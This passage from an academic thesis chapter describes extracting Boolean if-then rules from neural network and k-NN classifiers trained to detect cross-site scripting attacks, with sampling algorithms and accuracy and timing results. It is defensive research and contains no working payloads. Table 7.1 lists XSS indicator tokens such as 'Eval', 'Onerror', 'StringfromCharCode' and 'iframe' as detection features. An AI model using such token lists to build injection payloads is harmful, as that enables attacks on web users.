rates that they do. As the beneficiaries of the extracted rules are specialists in the
security and web applications developers, whereby using these rules they have the
ability to protect pages by creating rules for receiving data and texts from the user.
With respect to this purpose, this chapter will show the way in which rules can be
derived from a neural network trained to detect XSS attacks by looking at the features
exhibited in the Tables 3.6, 3.7, and 3.8 - wherefrom it can be observed that all these
features are Boolean and that therefore the neural network precisely defines a Boolean
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function. Section 7.2 provides a brief overview of the topic, Explainable Artificial
Intelligence (XAI). Section 7.3 provides an overview of the topic of rule extraction
from neural network classifiers as well as an overview of the most common types of
rule extraction techniques along with an explanation of the methods by which rules
are represented. Section 7.4 provides an overview of the topic of minimizing Boolean
expressions and a description of the most common methods which are employed
for this purpose. Then Section 7.5 explains in detail the system proposed in this
present study for extracting rules from black box classifiers - the most important
factors related to this approach are explained. Section 7.6 demonstrates the results
of applying the proposed system to the extraction of rules from neural network
classifiers (focused on distinguishing between malicious and benign instances).
Section 7.8 shows the time spent in extracting the rules. Section 7.7 provides a
method for improving the performance of the sampling algorithm. Sections 7.8,
7.9, and 7.10 provide results of using the improved algorithm on the NN, k-NN and
SVM classifiers with an explanation of the results of testing the rules, in addition
to the timing performance for each classifier. Section 7.11 shows how the extracted
rules are represented, with an example showing how to achieve high accuracy results
using the extracted rules. Section 7.12 provides a distribution of the rules extracted
using the sampling method on the probabilities table, in addition to the distribution
of a testing dataset on the same probabilities. Section 7.13 discusses the results
achieved, and comparisons made between the results yielded by the classifiers and
the results yielded by simply using the extracted rules (outside of the classifiers).
Finally, Section 7.14 summarises what has been accomplished in this chapter.
Part of this work has been published in the International Joint Conference on
Computational Intelligence conference (IJCCI 2019) [132].
7.2 Explainable Artificial Intelligence Overview
This work is focused on artificial intelligence and machine learning, and especially on
neural networks which are able to provide predictive models that have a high degree
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of accuracy and excellent performance in relation to complex tasks - such as detecting
objects present in images [80], or understanding natural language [35]. Such neural
network models are considered, here, to be a black boxes which make decisions
with respect to input data, and these decisions are considered to be incapable of
being understood or meaningfully interpreted by the user. In this regard, there is
growing interest in explaining the decision-making which results from the training
of such neural network models. Such “explaining” can be achieved by opening up
black box models [10, 11], by developing methods that help to understand what
the model has learned [120, 140], or by extracting rules from the networks. The
term Explainable Artificial Intelligence (XAI) encompasses the issue of making
artificial intelligence systems understandable to humans [72]. XAI aims to "produce
more explainable models, while maintaining a high level of learning performance
(prediction accuracy); and enable human users to understand, appropriately, trust,
and effectively manage the emerging generation of artificially intelligent partners"
[72].
7.3 Rule Extraction Overview
Building systems which can be used within the context of end-user applications
requires the use of functions whose operation can be understood by the user. Thus,
when classifiers are to be used in this context, they need to be built so that are
both accurate but also readily comprehensible in terms of how they classify. These
requirements of a software system (more generally - accuracy, and ease-of-use)
almost always work in a contradictory manner, as [26] has stated, "Unfortunately,
in prediction, accuracy and simplicity (interpretability) are in conflict." Therefore,
the extraction of rules from a trained classifier can be an intermediary method
which allows for the satisfaction of both of these requirements via the use of a
relatively simple and understandable set of such rules in form (I f ...T hen...Else)
which simulates the model’s predictions. The rule extraction process aims to find
understandable rules in terms of how the particular classification model works.
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Furthermore, the rule extraction techniques employed are designed so that they can
explain the predictive rules used by the A.I model (i.e. they explain the rules which
are used, without such modification, inside the black box) [12, 40, 124]. One of
the research topics current in the data mining field is that of extracting rules from
models; this has been described as an important process which can be used to identify
patterns in a clear and understandable manner [58].
The neural network classifier model is considered to represent one of the most
popular types of classifier from which rules can be extracted. Algorithms for extract-
ing rules from neural network classifiers may be divided into three main categories:
1. Pedagogical: This kind of method is not concerned with the internal structure
of the network, but only with deriving the rules used by the network by looking
at the relationships between the inputs and the outputs. Thus, it does not need
to scrutinise the internal behaviour of the network [184, 189]. An example of
the use of this type of rule extraction can be found in [169], where the rules
were extracted from a multilayer medical diagnostic system by monitoring the
impact on network outputs of changes to its inputs. The VIA technique [188]
is another example of a pedagogical method, where the generation and testing
of an input dataset was focused on the extraction of rules from the neural
network while it was being trained using a backpropagation technique. This
method is characterised by analysing the output of the network through the
systematic variation of the patterns of input. Other techniques in this category
are sampling and the reverse engineering of neural networks [74]. An example
of the use of samples for a pedagogical approach is given in [39], where
Craven and Shavlik proposed an algorithm called TREPAN. This algorithm
extracts M-of-N and split trees from an ANN via a querying and sampling
technique, and here the neural network architecture used involved one hidden
layer which the network employed as an “oracle” to statistically validate the
correctness and significance of the generated rules. Saad and Wunsch proposed,
in [167], a method they termed HYPINV which relied on a network inversion
technique. This method is capable of extracting the hyperplane rule learned by
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the network, in the form of conjunctions and disjunctions defining hyperplanes.
The multilayer perceptron (MLP) was used as the standard network type for
the experiment.
This present study will focus on the use of samples to extract the rules from
the black box classifier. Hence, knowing how to use samples to extract rules
is essential. With reference to Huysmans et. Al, [44], this specifies methods
for using samples to extract rules; additional training instances are created
specifically to act as samples for use by TREPAN. However, this method is
based on marginal distributions. Another method is to create random instances;
this method keeps the samples nearer to the original training instances, which
in turn ensures that the generated samples are similar to the original training
data, this method has been used with ANN-DT in [174].
2. Decompositional: The methods in this category are concerned with extracting
the rules directly from the layers within the network; these methods focus
on the internal structure of the network and assign a linguistic meaning to
each layer. Such decompositional methods rely on the extraction of rules
by analysing network activation, the outputs of hidden layers and also by
analysing the associated weights [57]. An example of the use of this type
of method is found in [177] where a three step algorithm was proposed for
analysing and thus “understanding” the neural network. The first step is to
reduce the weights by creating a backpropagation network with the aim of
reversing the important connections which have larger weights. The second
step is to trim the network by deleting irrelevant connections - while main-
taining the predictive accuracy of the network. In the third and final step, the
rules are extracted by estimating the activation values of the hidden unit. The
rules were extracted in [178] using the “neurolinear” decomposition technique;
this technique is able to extract rules from a neural network oblique classifier
that has one hidden layer. Deriving rules from deep neural networks is one of
the more difficult tasks related to this area, the reason being the existence of
activation functions in the deep network. Such functions consist of a set of
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layers of nodes whereby each node is calculated by a set of linear values, and
then the activation function is applied to the result; this makes the problem
non-convex. Nai et. al in [138] developed the concept of the Rectified Linear
Unit (ReLU) activation function; such a function returns an unchanged value
in the case of the application of the ReLU function to a node with a positive
value, and in the case of a negative value it returns zero. This concept is widely
used and allows deep neural networks to generalize well to previously unseen
inputs. In order to use ReLUs to verify the properties of deep networks it
was necessary to make significant simplifying assumptions [18]. Katz et. al
proposed a new algorithm in [96] to verify the properties of neural networks
using ReLUs activation functions by the application of the simplex algorithm,
which is a standard method for solving linear programming instances. This
algorithm was modified that to support ReLU constraints and then termed
Reluplex, for "ReLU with Simplex". Reluplex is concerned with reducing the
search space by at least one order of magnitude, but it needs to “split” using
a specific ReLU constraint. Note that in this method many or indeed, all of
the ReLUs involved can be ignored. This algorithm has been applied to the
next generation of airborne collision avoidance systems for unmanned aircraft
ACAS Xu [93], many properties of these networks have been successfully
proven.
3. Eclectic: Methods of this type combine attributes derived from the two previ-
ous types. This type of rule extraction was used in [97], where a method for
discovering trends within a large dataset was proposed which employed a neu-
ral network as a black box which had the function of discovering knowledge.
At the same time, the method examines weights by pruning and clustering the
activation values of the hidden units within the network. For the purposes of
analysing the data to control the probability of occurrence and accuracy of the
rules, control parameters were used.
It is fruitful to compare the types of extraction methods used in terms of their
relative advantages and disadvantages. First, it can be observed that the extraction
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of rules using decompositional approaches is complex and requires considerable
computational resources, and so the use of these resources is the most important
constraint with regard to the use of these methods. Pedagogical approaches are
generally faster because they do not attempt to analyse the weights and internal
structure of the associated neural network. However, the most important disadvantage
of this approach is that it is less likely to find all the rules that describe the behaviour
of the network correctly. The eclectic approach is slower but more precise because it
combines the two other methodologies [9].
A decision tree is one of the most common methods of representing the rules
extracted from non-rule-based classifiers, where the individual rules can be specified
in the form (i f ...then). The decision tree itself is built using these rules such that
the classes (returned by the classifier) are the leaves and the branches represent
the sequences of features (conditions) that lead to these classes [6]. Representing
the rules in a way which is understandable by human-being, using decision tree
classifiers, where these can capture the rules and present them in several forms is
described in [24] and [86].
1. If-Then / If-Then-Else: Rules are represented by using "i f " condition, where
the condition may contain a number of logical operators such as conjugation,
disjunction, and negation. The condition component is a set of conditions
on input variables, followed by a "then" which indicates a class this is easily
understandable. An example of an "i f ...then...else" rule is:
i f (a11 < x1 < a12) and (a21 < x2 < a22) then Class A else Class B.
Note that most extraction algorithms create rules that contain conjunctions.
and they will generally ensure that the conditional parts define separate areas
in the input space, meaning that the rules are mutually exclusive. Therefore,
only one rule will be able to classify a new entry.
2. M-of-N: This type of represention of the rules is considered to be more
compact than "i f ...then" rule sets; here , the decision in relation to just one
class is made such that it is required that M of the full set of N rules be
true for this class to be returned. Such a rule can be represented in the
185
Rule Extraction from Black Box Classifiers
form (IF M o f{N} T HEN Z); this representation can easily be converted to
(i f ...then) rules. An example of an M-of-N rule is:
if exactly 2-of-f {X=a,Y=b,Z=c} then Class=1. This is logically equivalent to
if ((X=a and Y=b) or (X=a and Z=c) or (Y=b and Z=c)) then Class=1.
3. Oblique rules / multi-surface: This type of representation is made using rules
that separate a feature space using planes, each side of each plane represents a
particular class, this allows each data point in the space to belong to a specific
class. This representation is more difficult to understand, but such rules are
more powerful since they can create boundaries that are not parallel with the
axes of the original input space.
4. Equation rules: This type of rule representation is similar to that of oblique
rules, but there is a difference in terms of the separation of spaces: non-linear
equations in the condition part are used for this purpose. An example of an
equation rule is as follows:
(i f c1X2+c2Y 2+c3XY +c4X +c5Y < c6 then Class = 1) with c1, ...,c6 ∈R.
This type of rule representation makes it difficult to understand the extracted
rules, and thus contributes little to the interpretation of the original model.
5. Fuzzy rules: This method of representing rules is similar to that of (i f ...then)
rules, the difference being that this representation deals with fuzzy sets and its
underlying mechanism is many valued fuzzy logic. An example of a Fuzzy
rule is: (i f X is low and Y is medium then Class = 1). Here, low and medium
are fuzzy sets, each with a corresponding membership function. Fuzzy rules
are easy to understand because they are expressed using linguistic concepts
that are readily comprehensible by the user.
In this study, the pedagogical approach combined with a sampling technique
will be adopted to extract the rules from a neural network classifier. The proposed
approach will focus on extracting the rules by finding the relationships between the
inputs and the returned classes. The rules so extracted will be represented in the
form (i f ...then..else), since Boolean functions act as decision trees.
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7.4 Minimising Boolean Expressions Overview
For the better understanding of the Boolean function being used, it is useful to extract
the rules into a compact representation. A minimal representation of a Boolean
expression is easier to understand and to write out; in addition, explanations based on
such minimal forms are less prone to error. Importantly, a minimal representation can
be more effective and efficient when implemented in experiments [166]. Therefore,
the minimisation of Boolean expression, to find a representation equivalent to the
original expression but of a minimum size, is considered here.
Minimisation can be achieved in several ways, where the important factor in
relation to choosing a method is the number of variables in the expression. The
commonly used methods for minimising Boolean expressions are:
1. Karnaugh Maps: This is a graphical method for minimising Boolean expres-
sions [95], whereby the truth table of the expression is expressed as a matrix,
all the complementary pairs are then eliminated, and the result is a minimised
Boolean expression. This method is very effective when only small numbers
of variables are involved, but it becomes more unwieldy when there are large
numbers of variables. Manipulating expressions using the theorems and rules
of Boolean algebra might can also be used, but again, this methodology does
not scale well.
2. The Tabular (Quine-McCluskey): This method is, in general, more effective
than the Karnaugh maps method, and in particular its effectiveness can be
observed when minimising expressions containing a large number of variables
[123]. The tabular version of the method frequently uses the rule A + A‘ =
1. Where a true variable is given the value 1, the inverse of this is assigned
the value 0, and the absence of the variable is expressed by (-). Minimising
Boolean expressions using this method is achieved via two main activities:
the identification of primary implicants and the selection of essential primary
implicants. Essential primary implicants are all those terms that will be present
in the final simplified function. The starting point is to list the minterms that
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define the function - then the prime implicants are found by a matching method.
Each minterm and maxterm are compared with every other minterm . When the
expressions differ in terms of only one variable, this variable will be removed
and a function will be created which excludes it. This process is repeated
for each minterm and maxterm pair until the search ends. The selection of
essential primary implicants is achieved by creating a table containing the
prime implicants. The prime implicant can then be reduced by removing
the essential prime implicants, removing the rows that dominate others, and
removing the columns that dominate others. These steps are repeated until
there no further reduction possible. The weakness of this method is that the
run time grows exponentially with the number of variables [88]
3. Reduced Ordered Binary Decision Diagrams (ROBDDs): This method is
undertaken by imposing an order on the variables of a Boolean function, and
then representing this function as a graph structure; this provides a canonical
non-redundant representation of the Boolean function, given the variable
ordering [28].
In this study, the tabular method will be adopted, because of its effectiveness
when minimising expressions with large numbers of variables.
7.5 Proposed Rule Extraction Approach
The method for extracting rules from a neural network classifier proposed here
is one of the contributions of this thesis. The proposed method extracts the rules
using a voting system, based on outputs produced by the classifier in relation to
samples that are selected from a training dataset. The aim of this research is to derive
Boolean functions that represent the rules extracted from trained neural networks
which can then be used by classifiers which are capable of detecting XSS attacks. It
is noticeable, when using any classifier relevant to this task, that all the input features
will be Boolean and these will be used to construct a Boolean output value; thus, such
a classifier evaluates a Boolean function. The rule extraction/construction process
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will enumerate all the possible inputs in relation to a derived truth table and then
employ this truth table to calculate the result of this Boolean function. Hence, this
allows to replace the classifier with a Boolean function, which will be a rule-based
system that make it explainable and auditable.
The extraction of a Boolean function depends on several factors: the dataset that
was used to train the classifier, the selected features, the classifier in use, and the
samples available for exact rule extraction and for creating a series of approximations
to a network. These factors are described in more detail below:
7.5.1 Datasets
A dataset which is to be used with this approach must be Boolean: all the inputs and
outputs utilised in relation to the XSS datasets that will be employed are Boolean.
The reason for using this kind of dataset is that when a classifier is trained on Boolean
data, the classification function it creates in order to process any new data will be
a Boolean function. This allows for the extraction of rules by the examination of
the relationships between inputs and corresponding outputs. In the approach used
here, the XSS dataset, as created in section 3.3.1, was employed, where the training
dataset contains 19,122 instances and the testing dataset contains 24,096 instances –
all of which have values of either 0 or 1.
7.5.2 Selected Features
The feature set in use is one of the factors influencing the approach introduced
in this research: the rules extracted will relate entirely to the presence or not of
these features. The method used here can accept any number and range of features,
provided that they all have Boolean values – as, if this is the case, then the rules
extracted must amount to either an exact or an approximate Boolean function. For this
research, the XSS features, the derivation of which is discussed in Section 3.5, were
used. these can be divided into two groups: alphanumeric and non-alphanumeric
features. Tables 3.6, 3.7, and 3.8 together provide a comprehensive list of these
features (there are 65 in all). It can be seen that the number of features is large and
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that a truth table representing all of them would require would be truly enormous,
containing 265 rows. Because of this, an approximation method is used to extract the
rules from the neural network. Rather than working with the features just as they
are, first a ranking process will be performed in order to identify the features that
most influence decision making. This is undertaken via Algorithm 2 [125]. This
algorithm for selecting the most relevant features utilises sequential feature selection
by minimising over all feature subsets; this process uses the deviance and the chi-
square to find the most powerful features. The deviance can be defined as twice the
difference between the log likelihood of a particular model and the corresponding
saturated model. The inverse of the chi-square with degrees of freedom is used to set
the termination tolerance parameter. After applying the ranking algorithm on the 65
features, only 34 features emerged as having a powerful influence on the decisions
made by the classifier. Table 7.1 shows the features in order of effectiveness.
Algorithm 2: Ranking Features Algorithm
1 Input: Original features set;
2 Start with empty features subset;
3 Feature = Sequential Feature Selection;
4 while (Deviance > Chi-Square) do
5 Feature Subset = Add feature to selected feature subset;
6 Feature = Sequential Feature Selection;
7 end
7.5.3 Classifier
With the proposed approach, it is possible to use any black box classifier, from which
to extract the rules, because the underlying principle of the system is that a Boolean
function can be extracted from any classifier. A neural network classifier was chosen
here because this kind of classifier has achieved high accuracy rates in the detection
of XSS attacks, as mentioned in Section 4.5.2.5 where such classifiers were evaluated.
In addition, this type of classifier is that which is most widely known in relation to
rules being extracted - due to the complexity of such a classifier’s operations, within
itself. For this study, feed forward neural network classifiers were built using the
features from Table 7.1. The classifiers were built as in Section 4.3.5 by including
one hidden layer containing 10 hidden neurons (units); the "trainbr" function was
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No. Features No. Features
1 Alert 18 %
2 < 19 (&lt)
3 { 20 @
4 ? 21 Onload
5 ! 22 StringfromCharCode
6 JS File 23 :
7 HTTP 24 \
8 - 25 ]
9 ’ 26 (
10 ; 27 ‘
11 & 28 Img
12 , 29 ′ >
13 Src 30 ==
14 Space 31 /
15 &# 32 Onerror
16 Eval 33 //
17 . 34 iframe
Table 7.1 Selected Features.
used to update the weight and bias values. Two classifier were used for this research.
The first was built using 34 features, and this was the best network from which to
extract the rules, and the second classifier was built using just the top 16 features;
this latter classifier was constructed for use in comparison and evaluation.
7.5.4 Sampling
The samplings employed in this study are used to create a Boolean function. These
samples were randomly obtained from the training dataset and then used to find
the outputs related to each row of the truth table – in order to create the Boolean
function. This method can be used with any classifier in order to obtain an exact
Boolean function, where the feature space is small, since each row in the truth table,
essentially, represents a rule. Where the number of features is too large, this method
is used to find a Boolean function which approximates the original function (used by
the classifier). The number of features is unwieldy even at 34, in that it is difficult
to create a truth table containing 234 in order to find the exact Boolean function.
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Thus, the approximate method will be used to find an appropriate function. The idea
is to find an approximating Boolean function by using a fixed number of features,
construct a truth table specifically for these, and then determine the output value of
each row in this truth table by interrogating the classifier using the full set of features.
This is achieved by using the fixed number of features and then completing the rest
of the feature values using samples, where 1024 samples are used for each row. The
final truth table row output is then determined by counting the number of true and
false responses generated by the samples, whichever of these has the largest tally
becomes that row’s output.
In this work, the neural network classifier that will mainly be used is one that has
been trained using 34 features. An approximate Boolean function appropriate to this
can be found using the method described above. The reason for using approximation
is that the number of features is large and unwieldy. Hence, a truth table employing
only a fixed number of the most significant features is created and the influence
of the rest of the features will be dealt with by the use of sampling. For example,
suppose an approximate Boolean function using just 4 features is to be determined,
leading to a truth table that can feasibly be constructed. For this purpose, the four
highest ranked features from Table 7.1 are to be used as the main inputs to the truth
table. First, for each row of the truth table, the values of these four features are
fixed, and then, for each sample item, the row is extended by adding the values of
the remaining 30 features derived from the item; each row so generated is then used
as an input to the neural network classifier; of course, the resultant output will be
recorded. This is done repeatedly and, from the output sample so yielded, the most
frequently occurring value becomes the result entry in the truth table.
Whilst the training dataset is relatively large, in that it contains 19,122 instances,
it is still very small compared to the 234 probabilities inherent to the neural network.
In other words, whilst the neural network does learn from its training dataset, the
generalization is not great enough, because all the inputs to the neural network are
equally meaningful. Thus, entirely random samples used for extending the fixed
values may not produce good results due to mismatches with the actual potential input
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forms. For this reason, such extensions were generated using a random selection of
actual instances. Each item in this random sample, of course, contained a full 34
features, and these features were employed to complete the fixed feature rows .
Algorithm 3 provides the sampling method. Here, the input to the algorithm is
L (an integer), the number of fixed features; NN, a trained neural network in this
case with 34 features; Sample, a random selection from the training set of inputs
to the neural network (in this work, consisting of 1024 inputs); and a truth table,
TT, providing the values of the fixed features along with undefined output values –
this is constructed by buildInitTruthTable, as follows. Each row of the latter truth
table is considered in turn. The values of the row of TT are substituted into each
element of Sample so constructing an input which is passed to the neural network,
NN, for classification. If the result is classification, malicious a tally of malicious
instances, malicious_count is incremented, otherwise, benign_count is incremented.
Once each element of Sample has been considered, a comparison between the two
counts is made, and the output column of the truth table TT is populated with 0 if
most instances are malicious and 1 otherwise.
Algorithm 3: Sampling Method Algorithm
1 Input: L ∈ N, NN, Sample;
2 TT = buildInitTruthTable(L);
3 for row in TT do
4 malicious_count = 0;
5 benign_count = 0;
6 for s in Sample do
7 input = substitute(row, s);
8 result = NN(input) ;






15 if malicious_count > benign_count then
16 TT[row] = 0 ; \\Malicious
17 else
18 TT[row] = 1 ; \\Benign
19 end
20 end
This study investigated a series of approximations, based on differing numbers
of fixed features: i.e., 1, 2, 4, 8, 10, 12, and 16 fixed features. In addition, 1024
instances of the training dataset were used as the basis for the samples to be employed
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in extending the fixed feature rows. As described above, the output column entry
(result) for each row of the truth table is simply the most common verdict returned
by the neural network being approximated.
7.5.5 Extracting Rules
After labelling all the rows in the truth table, each row is considered to be a rule
that describes one class. For a more compact and succinct set of rules, the Boolean
functions represented by the rows can be minimised, [176]; this yields simpler, more
understandable expressions. The minimised Boolean functions are then applied as
classifiers. "Logic Friday" [162] has been applied to minimise the Boolean functions
by using the Tabular Method.
7.6 Results
This section provides the results of the experiments conducted on both classifiers
(utilizing 16 and 34 features respectively) to evaluate their performance. In addition,
there were experiments aimed at demonstrating the performance of the extracted
rules, approximated using 1, 2, 4, 8, 10, 12, 16 features in turn. The classifiers and
extracted rules were tested using the same testing dataset.
7.6.1 Neural Networks Classifiers Performance
Initially, the performance of the classifier that was trained using 34 features, and
from which the approximate rules were be extracted, was evaluated. This was in
order to compare its performance with the performance of a classifier trained using
65 features. Table 7.2 illustrates the performance of a neural network classifier using
65 feature, and Table 7.3 shows the performance of the classifier using 34 features;
these were both evaluated using the same testing dataset.
Comparing between the two tables, it can be observed that there are slight
differences between the classifier which has been trained using 34 features and that
which was trained using 65 features. Surprisingly, perhaps, the classifier trained with
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Accuracy Precision Sensitivity Specificity Confusion Matrix
Malicious Benign
99.85 99.86 99.78 99.90 Malicious 9986 14
Benign 22 14074
Table 7.2 Neural Network Classifier Performance Using 65 Features
Accuracy Precision Sensitivity Specificity Confusion Matrix
Malicious Benign
99.88 99.98 99.75 99.98 Malicious 9998 2
Benign 25 14071
Table 7.3 Neural Network Classifier Performance Using 34 Features
the lesser number of features actually performed marginally better; this shows the
effectiveness of employing carefully selected features when distinguishing between
malicious and benign instances.
For purposes of later comparison, the same evaluation was repeated in order to
examine the performance of the neural network classifier which had been trained
using the 16 highest ranked features. Table 7.4 shows that classifier’s performance.
Accuracy Precision Sensitivity Specificity Confusion Matrix
Malicious Benign
99.78 99.94 99.53 99.95 Malicious 9994 6
Benign 47 14049
Table 7.4 Neural Network Classifier Performance Using 16 Features
From the network trained with only 16 features, the Boolean function can be
extracted precisely, because the number of rules created by the truth table is exactly
the same as the number of features used and so does not require a sampling system.
Table 7.5 shows the rules created from the truth table, as well as the rules remaining
after minimisation. Any instance whose features do not match a rule which indicates
benignity can be taken to be malicious.
Class Malicious Benign Minimised
Rules 41,549 23,987 2,560
Table 7.5 Classifier Rules Using 16 Features
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7.6.2 Rule Extraction
The rules were extracted from the neural network classifier that was trained using 34
features by applying the sampling method for each row in the truth tables relating
to the restricted sets of selected features. The method leads to the extraction of
(2Features) rules, where each row describes one rule. This sampling technique was
repeated for truth tables related to 1, 2, 4, 8, 10, 12, and 16 features. All these
sets of features were used to construct an approximation of the Boolean function
which the neural network (using 34 features), in essence, implemented. The purpose
of repeating the process was to observe the rules which were used by the neural
network; also, the accuracy of the results obtained when these approximate Boolean
functions were applied to the testing dataset could be evaluated.
Table 7.6 illustrates the results obtained by extracting rules from the neural
network that was trained using 34 feature: approximating with 1, 2, 4, 8, 10, 12, and
16 features as fixed features.
Accuracy Precision Sensitivity Specificity Confusion Matrix
Malicious Benign
1 Feature 91.96 80.70 99.92 87.95 Malicious 8070 1930
Benign 6 14090
Malicious Benign
2 Features 91.96 80.70 99.92 87.95 Malicious 8070 1930
Benign 6 14090
Malicious Benign
4 Features 98.95 97.54 99.92 98.28 Malicious 9754 246
Benign 7 14089
Malicious Benign
8 Features 98.13 95.62 99.87 96.98 Malicious 9562 438
Benign 12 14084
Malicious Benign
10 Features 99.15 98.00 99.96 98.60 Malicious 9800 200
Benign 3 14093
Malicious Benign
12 Features 99.82 99.62 99.96 99.73 Malicious 9962 38
Benign 3 14093
Malicious Benign
16 Features 99.90 99.94 99.82 99.95 Malicious 9994 6
Benign 18 14078
Table 7.6 Extracted Results Using 1, 2, 4, 8, 10, 12, and 16 Features
Table 7.7 summarises the number of rules related to each class as obtained when
using the various numbers of selected features. The final column gives the number of
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rules that classify the input as benign after minimisation – it should be borne in mind
that any entry that does not matching the extracted rules is classified as malicious.
Features Malicious Benign Minimised
1 Feature 1 1 1
2 Features 2 2 1
4 Features 7 9 3
8 Features 100 156 29
10 Features 384 640 62
12 Features 1,560 2,536 229
16 Features 39,792 25,744 2,488
Table 7.7 Numbers of Rules as Related to Numbers of Selected Features
7.6.3 Timing
The time taken to extract the rules is an important factor in relation to the proposed
method. It was observed that the number of extracted rules increases as the number
of features used for approximation increases. Applying this observation, the time
taken to extract the rules using the proposed method has been calculated. Table 7.8
shows the timing for each approximation.
Features Interval
1 Feature 18 sec
2 Features 37 sec
4 Features 120 sec
8 Features 390 sec
10 Features 7,846 sec
12 Features 30,598 sec
16 Features 482,618 sec
Table 7.8 Timing of Rule Extraction from the Classifier.
From the table it can be observed that the increase in the time taken to extract
the rules is directly proportional to the increase in the number of features. Timing
results were expected in order to use a large sample, as determining the class for
each row takes time. Therefore, in the next section, the rules will be re-extracted, by
modifying the sampling algorithm with aim to improve it.
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7.7 Sampling Algorithm Modifications
One of the issues that was encountered when extracting rules from the neural network
was the performance in terms of speed; the time taken to extract rules takes increases
as the number of features increase. Because the time taken was becoming inconve-
niently long, the sampling algorithm was modified to solve the issue by reducing the
number of samples - from 1024 to 32 samples. In the so reduced sample, the numbers
of malicious instances were at least equal to the numbers of benign instances, the
sample size was then increased again to 64. If this did not solve the problem, to 128;
there were no cases where it was necessary to go beyond this. Moreover, random
samples were used for each row in the truth table in order to complete those (rows)
representing fixed features. This was for the purpose of re-balancing the number
of samples. The original algorithm used the same 1024 samples for all the rows,
whereas the algorithm after modification, where the sample size was smaller, used
different samples for each row in the truth table. Furthermore, the decision-making
method employed for each rule in the truth table was modified to label the row
(with either malicious or benign) in the cases where more than three-quarters of the
instances in the sample were indicated as such by the rule (row). Algorithm 4 shows
the modified sampling method.
7.8 NN Rules Using 32/64/128 Samples
For the purposes of ensuring the effective extraction of rules from classifiers, the
following process was performed. The classifier was first run with a sample size of
32, if the number of instances classed as benign and malicious were equal (i.e., 16
each) then the classifier was run again for equal rules, but using a sample size of 64 –
and so on. The purpose of these repetitions of the experiment was to determine the
ability of the proposed method to extract the required Boolean functions from the
classifier when only smaller samples were available and how accurate the results
are as compared to those yielded by the use of larger samples. The experiment was
conducted using a neural network classifier which was trained using 34 features 32,
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Algorithm 4: Modified Sampling Method Algorithm
1 Input: L ∈ N, NN, Sample;
2 TT = buildInitTruthTable(L);
3 for row in TT do
4 malicious_count = 0;
5 benign_count = 0;
6 for s in Sample do
7 input = substitute(row, s);
8 result = NN(input) ;
9 if result == malicious then
10 malicious_count ++;
11 if malicious_count >= Sample * 0.75;
12 TT[row] = 0 ; \\Malicious
13 else
14 benign_count ++;
15 if benign_count >= Sample * 0.75;
16 TT[row] = 1 ; \\Benign
17 end
18 end
19 if malicious_count > benign_count then
20 TT[row] = 0 ; \\Malicious
21 else
22 TT[row] = 1 ; \\Benign
23 end
24 end
64 then 128 samples from the training dataset – it should be noted that each row
in the truth table may be completed by employing random samples from the full
training dataset (differing, often, from those used with another row). Then these
rules were tested by applying the testing dataset to the extracted rules.
Table 7.9 shows the results in terms of the distribution (i.e., application) of the
testing dataset over the rules extracted from the neural network classifier, where the
experiment was conducted using 1, 2, 4, 8, 10, 12 and then 16 fixed features. From
the results, it can be observed that the extracted rules were efficacious in terms of
being able to distinguish between malicious and benign instances. The results derived
from the rules extracted from the neural network classifier and then processed using
a sample size of 1024 (for decision making) are slightly better than those derived
from classifiers which used 32, 64, and 128 sample sizes for this purpose - in terms
of accuracies and precision rates. NN classifiers using 1024 samples achieved
maximums of a 99.90% accuracy and a 99.94% precision rate, while when using
32/64/128 samples the maximums achieved were a 99.87% accuracy and a 99.86%
precision rate. Also, it was observed that the NN classifier using 32/64/128 samples
suffered from slightly increased numbers of false positives.
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Accuracy Precision Sensitivity Specificity Confusion Matrix
Malicious Benign
1 Feature 58.49 0 0 58.49 Malicious 0 10000
Benign 0 14096
Malicious Benign
2 Features 98.95 97.60 99.87 98.32 Malicious 9760 240
Benign 12 14084
Malicious Benign
4 Features 98.74 97.08 99.88 97.96 Malicious 9708 292
Benign 11 14085
Malicious Benign
8 Features 96.61 99.61 92.76 99.70 Malicious 9961 39
Benign 777 13319
Malicious Benign
10 Features 98.37 96.60 99.46 97.63 Malicious 9660 340
Benign 52 14044
Malicious Benign
12 Features 99.84 99.75 99.87 99.82 Malicious 9975 25
Benign 13 14083
Malicious Benign
16 Features 99.87 99.86 99.83 99.90 Malicious 9986 14
Benign 17 14079
Table 7.9 Extracted Results From NN Using 32/64/128 Samples
Features Malicious Benign Minimised
1 Feature 0 2 1
2 Features 3 1 1
4 Features 8 8 4
8 Features 103 153 29
10 Features 382 642 84
12 Features 1,576 2,520 245
16 Features 39,861 25,675 2,766
Table 7.10 Numbers of NN Rules Using 32/64/128 Samples
Table 7.10 shows the number of rules extracted (after minimization) for each
class; these rules, combined, represent the Boolean function for the class extracted
from the classifier. From Table 7.7 shows the results (rules) extracted from the neural
network classifier once it had been trained using 1024 samples and Table 7.10 which
presents the results of the same classifier when it was given 32/64/128 samples on
which to work. It can be observed that the number of rules making up the Boolean
function increases with the decrease in the number of samples which can be used
for decision making. The classifiers used 32/64/128 samples yielded larger Boolean
200
7.9 k-NN Rules Using 32/64/128 Samples
functions than the one that was used 1024 samples. The number of samples may be
influential in determining the class for each rule.
Features Labelling Interval Testing Interval
1 Feature 1 sec 1 sec
2 Features 2 sec 1 sec
4 Features 3 sec 1 sec
8 Features 57 sec 11 sec
10 Features 212 sec 49 sec
12 Features 755 sec 198 sec
16 Features 10,645 sec 3,259 sec
Table 7.11 Timing of Rule Extraction from NN Classifier Using 32/64/128 Samples
Table 7.11 shows the performance in terms of speed of the classifiers which were
given 32/64/128 samples. A significant difference in terms of such performance
can be seen between the classifier given 1024 samples, which completed its task in
482,618 seconds and the 32/64/128 samples classifier finished in 10,645 seconds.
In addition to this difference in terms of speed, it is possible to observe a marked
reduction in the accuracy of the classifiers. Moreover, the last column in the asso-
ciated table shows the time taken to distribute (apply) the testing dataset over the
extracted rules; this latter process, using the NN classifier, proved to be faster than
the equivalent process based on the neural network classifier using a 1024 sample
size.
7.9 k-NN Rules Using 32/64/128 Samples
In order to ascertain the effectiveness – in isolation - of the proposed method of
extracting rules, the same method was applied to another classifier, the k-Nearest
Neighbour classifier. The reason for the choice of the k-NN classifier was because
it gave highly accurate results with respect to the testing dataset – a maximum of
99.90%. In other words, k-NN performed slightly better than the neural network
classifier in terms of accuracy. The latter achieved a maximum of 99.85% accuracy.
Furthermore, the testing with the k-NN classifier was used to find out whether the
accuracy rate of the classifier was related to the number of rules extracted. In addition,
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as has been indicated in previous chapters, it was observed that K-NN classifier take
longer than a neural network classifier to complete their work.
The experiment (with the k-NN classifier) was conducted in the same way as the
neural network experiment - using the same training dataset to train the classifier, and
